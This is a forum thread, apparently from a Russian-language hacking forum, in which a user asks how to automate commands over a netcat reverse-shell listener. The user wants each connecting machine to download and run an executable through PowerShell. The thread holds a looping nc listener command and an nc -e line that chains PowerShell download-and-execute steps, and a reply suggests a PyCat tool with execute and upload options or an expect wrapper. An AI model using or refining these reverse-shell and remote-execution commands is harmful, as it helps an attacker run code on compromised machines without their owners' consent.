• XSS.stack #1 – первый литературный журнал от юзеров форума

Automating commands in netcat shell

cashearner

(L3) cache
Пользователь
Регистрация
19.06.2019
Сообщения
187
Реакции
16
Гарант сделки
2
i have a powershell script which I use to gain rev. shell on my Debian vps.
On my server I use netcat as a listener with command: "while true; do nc -lvp 443 ; done"
I want to automate (on my server) to: when I receive connection server downloads putty, executes putty, wait for 20 seconds and then exits.

while true; do nc -lvp 443 -e "powershell -command start-bitstransfer https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe && powershell -command start putty.exe && timeout /t 20 && exit" ; done

I tried with this command and many variants but no luck. I get an answer: No such file or Directory

Does anyone knows what I did wrong?
 

It may require some tweaks in code, but should do what you want.
Код:
PyCat.py -l --listen
Listen on [host]:[port] for incoming connections

PyCat.py -e --execute=file_to_run
Execute file upon connection

PyCat.py -u --upload=destination
Upon connection upload file and write to [destination]

Other option is to wrap netcat listener with somethling like expect to send commands when client connects.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх